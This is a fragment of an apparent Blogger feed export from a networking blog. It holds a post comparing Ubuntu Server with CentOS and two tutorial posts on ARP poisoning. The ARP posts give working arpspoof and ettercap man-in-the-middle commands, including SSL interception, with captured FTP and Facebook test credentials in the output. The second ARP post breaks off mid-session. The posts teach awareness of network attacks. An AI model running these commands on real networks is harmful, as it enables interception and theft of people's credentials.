src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-4_5-FabMqXI/TrWPCsr8sKI/AAAAAAAAAn8/INg-okCnypQ/s72-c/ARP+poisoning+%2528I%2529.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-8442686941994778288</id><published>2011-11-08T13:03:00.001+01:00</published><updated>2011-11-15T15:46:23.168+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Operating systems'/><title type='text'>Ubuntu Server instead of CentOS?</title><content type='html'>Although both are outstanding Linux distributions, nowadays I choose Ubuntu Server. For a long time, I have prefered CentOS rather than Ubuntu Server, but today, I always install Ubuntu Server unless there is some requirement which forces me to do the opposite (for instance, when some application just is supported for CentOS/RHEL).&lt;br /&gt;&lt;br /&gt;I am not going to focus on certain details such as the performance, architecture, support and so on. I only want to talk about those simple things that, when I finish the installation of an operating system, I usually say: I like it!&lt;br /&gt;&lt;br /&gt;For my tests, I am going to use two similar versions: Ubuntu Server 10.04 LTS and CentOS 6.0, both 32 bits. After the initial installation (and their corresponding upgrades), here you are a typical view of the system status.&amp;nbsp;As you can distinguish, Ubuntu Server grabs little memory, since the most of it is cached. In respect of the number of active processes, it also has got fewer than CentOS.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# top&lt;br /&gt;top - 12:17:54 up 13 min,  1 user,  load average: 0.00, 0.00, 0.00&lt;br /&gt;Tasks:  &lt;b&gt;78 total&lt;/b&gt;,   1 running,  77 sleeping,   0 stopped,   0 zombie&lt;br /&gt;Cpu(s):  0.0%us,  0.0%sy,  0.0%ni,100.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st&lt;br /&gt;Mem:   2061260k total,   &lt;b&gt;126644k used&lt;/b&gt;,  1934616k free,    17088k buffers&lt;br /&gt;Swap:   565240k total,        0k used,   565240k free,    &lt;b&gt;87796k cached&lt;/b&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;[root@centos ~]# top&lt;br /&gt;top - 12:17:49 up 13 min,  1 user,  load average: 0.00, 0.00, 0.00&lt;br /&gt;Tasks:  &lt;b&gt;84 total&lt;/b&gt;,   1 running,  83 sleeping,   0 stopped,   0 zombie&lt;br /&gt;Cpu(s):  0.0%us,  0.0%sy,  0.0%ni,100.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st&lt;br /&gt;Mem:   2071620k total,    &lt;b&gt;99020k used&lt;/b&gt;,  1972600k free,     5272k buffers&lt;br /&gt;Swap:  4161528k total,        0k used,  4161528k free,    &lt;b&gt;29488k cached&lt;/b&gt;&lt;br /&gt;...&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;What about the initial space taken up for the installation? (In order to get a more accurate result, I have cleaned the package cache). As you can see, CentOS occupies around 225 MB less than Ubuntu Server. I have to highlight this point, because this aspect has improved a lot on CentOS 6.0, since we have now a version of minimal installation. With CentOS 5, the final size was bigger.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# aptitude clean&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# df -h&lt;br /&gt;Filesystem            Size  Used Avail Use% Mounted on&lt;br /&gt;/dev/mapper/ubuntu--server-root&lt;br /&gt;                       12G  &lt;b&gt;888M&lt;/b&gt;  9.6G   9% /&lt;br /&gt;none                 1002M  172K 1002M   1% /dev&lt;br /&gt;none                 1007M     0 1007M   0% /dev/shm&lt;br /&gt;none                 1007M   32K 1007M   1% /var/run&lt;br /&gt;none                 1007M     0 1007M   0% /var/lock&lt;br /&gt;none                 1007M     0 1007M   0% /lib/init/rw&lt;br /&gt;/dev/sda1             228M   31M  185M  15% /boot&lt;br /&gt;&lt;br /&gt;[root@centos ~]# yum clean all&lt;br /&gt;&lt;br /&gt;[root@centos ~]# df -h&lt;br /&gt;S.ficheros            Size  Used Avail Use% Montado en&lt;br /&gt;/dev/mapper/vg_centos-lv_root&lt;br /&gt;                      7,5G  &lt;b&gt;664M&lt;/b&gt;  6,4G  10% /&lt;br /&gt;tmpfs                1012M     0 1012M   0% /dev/shm&lt;br /&gt;/dev/sda1             485M   56M  404M  13% /boot&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;This situation is reflected as well when we take a look at the number of packages installed on the system.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# dpkg -l | grep ii | wc -l&lt;br /&gt;358&lt;br /&gt;&lt;br /&gt;[root@centos ~]# yum list installed | wc -l&lt;br /&gt;234&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Let's move on to the services which are listening on the system at the beginning. You may appreciate that the picture of Ubuntu Server is impeccable. There is no process bound to any port (aside from SSH). But what happens with CentOS? There are different applications which have already been started up (TCP and UDP). This is a waste of time for me, because at the end of each CentOS installation, I have to remove them.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# netstat -nltup&lt;br /&gt;Active Internet connections (only servers)&lt;br /&gt;Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&lt;br /&gt;tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      810/sshd        &lt;br /&gt;tcp6       0      0 :::22                   :::*                    LISTEN      810/sshd &lt;br /&gt;&lt;br /&gt;[root@centos ~]# netstat -nltup&lt;br /&gt;Active Internet connections (only servers)&lt;br /&gt;Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   &lt;br /&gt;tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      1071/rpcbind        &lt;br /&gt;tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1191/sshd           &lt;br /&gt;tcp        0      0 0.0.0.0:44568               0.0.0.0:*                   LISTEN      1089/rpc.statd      &lt;br /&gt;tcp        0      0 :::111                      :::*                        LISTEN      1071/rpcbind        &lt;br /&gt;tcp        0      0 :::55445                    :::*                        LISTEN      1089/rpc.statd      &lt;br /&gt;tcp        0      0 :::22                       :::*                        LISTEN      1191/sshd           &lt;br /&gt;udp        0      0 0.0.0.0:822                 0.0.0.0:*                               1071/rpcbind        &lt;br /&gt;udp        0      0 0.0.0.0:841                 0.0.0.0:*                               1089/rpc.statd      &lt;br /&gt;udp        0      0 0.0.0.0:45143               0.0.0.0:*                               1089/rpc.statd      &lt;br /&gt;udp        0      0 0.0.0.0:111                 0.0.0.0:*                               1071/rpcbind        &lt;br /&gt;udp        0      0 :::822                      :::*                                    1071/rpcbind        &lt;br /&gt;udp        0      0 :::43338                    :::*                                    1089/rpc.statd      &lt;br /&gt;udp        0      0 :::111                      :::*                                    1071/rpcbind &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Regarding the repositories provided for each distribution, Ubuntu Server supplies a larger number of packages than CentOS, and this is another plus. Although you can add excelent additional repositories such as &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/10/extra-packages-for-enterprise-linux.html"&gt;EPEL&lt;/a&gt;, those extra packages are not officialy supported.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# apt-cache stats | grep Normal&lt;br /&gt;  Normal packages: 30299&lt;br /&gt;&lt;br /&gt;[root@centos ~]# yum list all | wc -l&lt;br /&gt;4595&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Also point out the life cycle of each distribution. On Ubuntu Server you have got a LTS (Long Term Support) version each three years. In contrast, on CentOS, the first release of the branch 5 was shipped in March 2007 and CentOS 6.0, in July 2011 (more than four years after). What goes on with this? Over time, you have to use an operating system where the most of the packages, although still supported, are obsoleted.&lt;br /&gt;&lt;br /&gt;And finally, I have metered the time spent in order to reboot the system (both use &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/03/booting-system-with-upstart-i.html"&gt;Upstart&lt;/a&gt;). This parameter is really important, mainly in production environments. I have obtained 20 seconds on Ubuntu Server and 40 on CentOS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-8442686941994778288?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/8442686941994778288/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/11/ubuntu-server-instead-of-centos.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8442686941994778288'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8442686941994778288'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/11/ubuntu-server-instead-of-centos.html' title='Ubuntu Server instead of CentOS?'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-4173135247809427905</id><published>2011-11-02T12:45:00.001+01:00</published><updated>2011-11-09T17:42:30.980+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Networking'/><title type='text'>ARP poisoning (II)</title><content type='html'>During the last article, &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/10/arp-poisoning-i.html"&gt;ARP poisoning (I)&lt;/a&gt;, you were able to learn the risks of using non-secure protocols inside an unreliable network. At any moment, your connection credentials can be captured by any intruder and you will not be aware of that. Note that this situation can be very common when you surf the Internet and go to HTTP websites, or for example, when you log into your MSN account.&lt;br /&gt;&lt;br /&gt;So what happens with secure protocols such as HTTPS? That is to say, for instance when you access your online bank account, PayPal, Gmail, LinkedIn and so on. Are you safe? In most cases, that will depend on you.&lt;br /&gt;&lt;br /&gt;Let's go over the normal behavior of a secure site like Facebook. If you click with the left mouse button on facebook.com (in the web browser bar, once you have opened the site), you will be able to appreciate that the connection to the web is encrypted and verified by DigiCert Inc (certification authority).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-_JA2HonKW2Q/Tq7IXj2AMfI/AAAAAAAAAnE/76RMLFZsZS4/s1600/ARP+poisoning+%2528I%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="251" src="http://2.bp.blogspot.com/-_JA2HonKW2Q/Tq7IXj2AMfI/AAAAAAAAAnE/76RMLFZsZS4/s400/ARP+poisoning+%2528I%2529.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;By pressing on the &lt;i&gt;More Information&lt;/i&gt; button, you may take a look at the features of the digital certificate offered by Facebook. As you can pick out in the first screen, the certificate has been issued by DigiCert Inc to Facebook, and in the second one, it is made up by a valid Certificate Hierarchy.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-pPVgKTPQ7cw/Tq7Mzp5r6GI/AAAAAAAAAnU/GP6jCFiWJT4/s1600/ARP+poisoning+%2528II%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="239" src="http://4.bp.blogspot.com/-pPVgKTPQ7cw/Tq7Mzp5r6GI/AAAAAAAAAnU/GP6jCFiWJT4/s640/ARP+poisoning+%2528II%2529.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Now we are going to use another audit tool: Ettercap (NG-0.7.3). This program is aimed at sniffing switched LANs, by supporting active and passive analysis of many protocols (HTTP, FTP, POP, IMAP, NFS, etc.), even ciphered ones.&lt;br /&gt;&lt;br /&gt;In addition, it includes many options for network and host inspection, data injection in an established connection, lots of loadable modules at runtime, also known as plugins (arp_cop - report suspicious ARP activity -, dos_attack - run a DoS against a victim -, finger - fingerprint a remote host -, etc.), several MitM attacks (ARP poisoning, ICMP redirection, DHCP spoofing and port stealing) and so on.&lt;br /&gt;&lt;br /&gt;The &lt;i&gt;victim&lt;/i&gt; computer is going to open Facebook (HTTPS) through a web browser (Firefox). Therefore, the &lt;i&gt;victim&lt;/i&gt; will go out across the &lt;i&gt;router&lt;/i&gt; so as to reach Facebook via Internet.&lt;br /&gt;&lt;br /&gt;Ettercap will be utilized in order to poison both elements, &lt;i&gt;victim&lt;/i&gt; and &lt;i&gt;router&lt;/i&gt;, to sniff all traffic between them. So how can the &lt;i&gt;attacker&lt;/i&gt; capture the password, whether this one is sent out through the secure channel previously set up?&amp;nbsp;First up, the traffic between the &lt;i&gt;victim&lt;/i&gt; and Facebook is not going directly to the &lt;i&gt;router&lt;/i&gt;, but that it will pass through the &lt;i&gt;attacker&lt;/i&gt;, which will be picking up all data.&lt;br /&gt;&lt;br /&gt;Thereby, on the one hand the &lt;i&gt;attacker&lt;/i&gt; will establish an HTTPS connection between itself and Facebook by using the correct certificate issued by Facebook, and on the other, another HTTPS connection between itself and the &lt;i&gt;victim&lt;/i&gt;, but this time, by means of a fake certificate created on the fly and which will have all fields filled according to the real certificate presented by Facebook.&lt;br /&gt;&lt;br /&gt;Let's get started by editing the configuration file of Ettercap, in order to enable the iptables command to allow the TCP redirection at kernel level, so as to be able to handle SSL dissection.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@attacker:~# aptitude install ettercap&lt;br /&gt;&lt;br /&gt;root@attacker:~# cat /etc/etter.conf&lt;br /&gt;...&lt;br /&gt;[privs]&lt;br /&gt;ec_uid = 0                # nobody is the default&lt;br /&gt;ec_gid = 0                # nobody is the default&lt;br /&gt;...&lt;br /&gt;   redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"&lt;br /&gt;   redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"&lt;br /&gt;...&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we are ready to run Ettercap by spoofing both targets and activating the ARP poisoning MitM attack. The 'remote' parameter is set in order to capture the connections which pass through the router, otherwise just the connections between them would be catched.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@attacker:~# ettercap -TqM arp:remote /192.168.1.1/ /192.168.1.10/&lt;br /&gt;&lt;br /&gt;ettercap NG-0.7.3 copyright 2001-2004 ALoR &amp;amp; NaGA&lt;br /&gt;&lt;br /&gt;Listening on eth0... (Ethernet)&lt;br /&gt;&lt;br /&gt;  eth0 -&amp;gt;       00:0C:29:20:9F:9B      192.168.1.20     255.255.255.0&lt;br /&gt;&lt;br /&gt;Privileges dropped to UID 0 GID 0...&lt;br /&gt;&lt;br /&gt;  28 plugins&lt;br /&gt;  39 protocol dissectors&lt;br /&gt;  53 ports monitored&lt;br /&gt;7587 mac vendor fingerprint&lt;br /&gt;1698 tcp OS fingerprint&lt;br /&gt;2183 known services&lt;br /&gt;&lt;br /&gt;Scanning for merged targets (2 hosts)...&lt;br /&gt;&lt;br /&gt;* |==================================================&amp;gt;| 100.00 %&lt;br /&gt;&lt;br /&gt;2 hosts added to the hosts list...&lt;br /&gt;&lt;br /&gt;ARP poisoning victims:&lt;br /&gt;&lt;br /&gt; GROUP 1 : 192.168.1.1 00:60:B3:50:AB:45&lt;br /&gt;&lt;br /&gt; GROUP 2 : 192.168.1.10 00:0C:29:69:81:47&lt;br /&gt;Starting Unified sniffing...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Text only Interface activated...&lt;br /&gt;Hit 'h' for inline help&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;At this moment, if you open Facebook again, Firefox will warn you that it cannot confirm that the connection is secure. Normally, when you try to connect securely, sites such as banks, stores, public organisms, etc., present trusted identifications to prove that you are going to the right place.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-lRlTjvhR6Cg/Tq_VdkfaSpI/AAAAAAAAAnc/EuqrI0jyOUQ/s1600/ARP+poisoning+%2528III%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="381" src="http://1.bp.blogspot.com/-lRlTjvhR6Cg/Tq_VdkfaSpI/AAAAAAAAAnc/EuqrI0jyOUQ/s400/ARP+poisoning+%2528III%2529.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;If you confirm the security exception and accept the digital certificate, you will have fallen into the trap of the &lt;i&gt;attacker&lt;/i&gt;. Let's review the characteristics of this invalid certificate, so as to be able to compare it with the real certificate (second figure).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-rfX9DsWiQwY/TrEhElMToXI/AAAAAAAAAnk/cp00kf82VQM/s1600/ARP+poisoning+%2528IV%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="219" src="http://4.bp.blogspot.com/-rfX9DsWiQwY/TrEhElMToXI/AAAAAAAAAnk/cp00kf82VQM/s640/ARP+poisoning+%2528IV%2529.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;As you can make out in the general features of the fake certificate, only the fingerprints are modified, because of the &lt;i&gt;attacker&lt;/i&gt; has signed it with him private key. Besides, the undependable certificate does not present a correct hierarchy.&lt;br /&gt;&lt;br /&gt;Now if you attempt to login into Facebook, your credentials will be catched by the &lt;i&gt;attacker&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@attacker:~# ettercap -TqM arp:remote /192.168.1.1/ /192.168.1.10/&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;Text only Interface activated...&lt;br /&gt;Hit 'h' for inline help&lt;br /&gt;&lt;br /&gt;HTTP : 69.171.224.39:443 -&amp;gt; USER: test@mytest.com  PASS: test1  INFO: https://www.facebook.com/&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-4173135247809427905?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/4173135247809427905/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/11/arp-poisoning-ii.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/4173135247809427905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/4173135247809427905'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/11/arp-poisoning-ii.html' title='ARP poisoning (II)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-_JA2HonKW2Q/Tq7IXj2AMfI/AAAAAAAAAnE/76RMLFZsZS4/s72-c/ARP+poisoning+%2528I%2529.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-5095487425233956867</id><published>2011-10-26T22:53:00.000+02:00</published><updated>2011-11-02T10:34:21.532+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Networking'/><title type='text'>ARP poisoning (I)</title><content type='html'>From a long time, I wanted to write some article about this issue. I think that people are not aware of the potential risks when they connect to a public network, such as inside an airport, library, pub and so on, even the own office network.&lt;br /&gt;&lt;br /&gt;Many times I have heard: it is not not such a big deal, you know what? I have a good antivirus which protects my computer! And on top of all that, the Windows firewall is activated! At that moment is when I put poker face...&lt;br /&gt;&lt;br /&gt;Most of the administrators think that by having a well-configured firewall, an IDS, an antivirus, etc., is enough to shield the network from external threats, but it turns out that around 70 or 80 percent of all attacks come from the own internal network.&lt;br /&gt;&lt;br /&gt;Please, note that the things which I am going to explain throughout these articles, can be a cause of crime, so you will be the last responsible if you put them into action with bad intentions. The reason because I want to tell this is, on the one hand, due to it is good that you know the danger of connecting to an unreliable network, and on the other, because I will take advantage of this in order to show you how to avoid it.&lt;br /&gt;&lt;br /&gt;To begin with, let's get started by saying how ARP works (&lt;i&gt;Address Resolution Protocol&lt;/i&gt;). Basically, this protocol is used to associate MAC and IP addresses.&lt;br /&gt;&lt;br /&gt;For example, one computer wants to know the MAC address of a router. In this case, that computer gives off a message to the network by asking who has the IP address of that router (ARP request). Then, only the router responds to the computer with its MAC address (ARP reply).&lt;br /&gt;&lt;br /&gt;Hereafter, the computer stores into its MAC table&amp;nbsp;(temporary)&amp;nbsp;the IP and MAC address of the router. ARP poisoning, as its name suggests, is to manipulate the MAC table of the victim by injecting fake ARP packets.&lt;br /&gt;&lt;br /&gt;What kind of attacks can derive from this situation? For instance, the well-known &lt;b&gt;Man in the Middle&lt;/b&gt; attack (MitM).&lt;br /&gt;&lt;br /&gt;Below you can see the environment which I will hold for my tests. &lt;i&gt;Victim&lt;/i&gt; and &lt;i&gt;attacker&lt;/i&gt; are an Ubuntu 10.11, and &lt;i&gt;ubuntu-server&lt;/i&gt;&amp;nbsp;is an Ubuntu Server 11.10 release.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-S58ETGvjmcg/Tqha1E_m0HI/AAAAAAAAAm0/20E9bzs5K1E/s1600/ARP+poisoning+%2528I%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="266" src="http://3.bp.blogspot.com/-S58ETGvjmcg/Tqha1E_m0HI/AAAAAAAAAm0/20E9bzs5K1E/s400/ARP+poisoning+%2528I%2529.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;In my first case, I am going to put the &lt;i&gt;attacker&lt;/i&gt; computer intercepting all communications between &lt;i&gt;ubuntu-server&lt;/i&gt; and &lt;i&gt;victim&lt;/i&gt;. To be more precise, the victim will connect to a FTP service installed on &lt;i&gt;ubuntu-server&lt;/i&gt; and the &lt;i&gt;attacker&lt;/i&gt; will try to capture the password. Remember this sort of protocol, also such as HTTP, SMTP, POP3, etc., the credentials are passed down in clear.&lt;br /&gt;&lt;br /&gt;So that the&amp;nbsp;&lt;i&gt;attacker&lt;/i&gt; node can work as a tranparent bridge, the IP forwarding must be enabled on it. Furthermore, we have to install the dsniff package which contains the arpspoof tool, program that will be used to poison both computers (client and server).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@attacker:~# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;&lt;br /&gt;root@attacker:~# aptitude install dsniff&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Let's take a look at their ARP tables before modifying them. As you may appreciate, both computers have registered the correct MAC addresses.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@ubuntu-server:~$ arp -a&lt;br /&gt;? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0&lt;br /&gt;? (192.168.1.10) at 00:0c:29:69:81:47 [ether] on eth0&lt;br /&gt;&lt;br /&gt;javi@victim:~$ arp -a&lt;br /&gt;? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0&lt;br /&gt;? (192.168.1.11) at 00:0c:29:18:36:e6 [ether] on eth0&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Next step is to alter those tables by transmitting fake ARP frames.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@attacker:~# arpspoof -i eth0 -t 192.168.1.10 192.168.1.11&lt;br /&gt;0:c:29:20:9f:9b 0:c:29:69:81:47 0806 42: arp reply 192.168.1.11 is-at 0:c:29:20:9f:9b&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;root@attacker:~# arpspoof -i eth0 -t 192.168.1.11 192.168.1.10&lt;br /&gt;0:c:29:20:9f:9b 0:c:29:18:36:e6 0806 42: arp reply 192.168.1.10 is-at 0:c:29:20:9f:9b&lt;br /&gt;...&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;If we output the ARP tables again, we can see that the entries have been changed.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@ubuntu-server:~$ arp -a&lt;br /&gt;? (192.168.1.20) at 00:0c:29:20:9f:9b [ether] on eth0&lt;br /&gt;? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0&lt;br /&gt;? (192.168.1.10) at 00:0c:29:20:9f:9b [ether] on eth0&lt;br /&gt;&lt;br /&gt;javi@victim:~$ arp -a&lt;br /&gt;? (192.168.1.11) at 00:0c:29:20:9f:9b [ether] on eth0&lt;br /&gt;? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0&lt;br /&gt;? (192.168.1.20) at 00:0c:29:20:9f:9b [ether] on eth0&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;At this point, the &lt;i&gt;attacker&lt;/i&gt; is ready to sniff all traffic between the implicated nodes. To simplify the test, just the FTP data will be picked up. In this case, I am dumping all FTP packets within a text file with tcpdump, so as to be able to analyze them before with Wireshark. I could also use Wireshark directly by means of a filter.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@attacker:~# tcpdump -ni eth0 port 21 -s0 -w ftp.pcap&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Last step is to establish a FTP session between &lt;i&gt;victim&lt;/i&gt; and &lt;i&gt;ubuntu-server&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@victim:~$ ftp 192.168.1.11&lt;br /&gt;Connected to 192.168.1.11.&lt;br /&gt;220 (vsFTPd 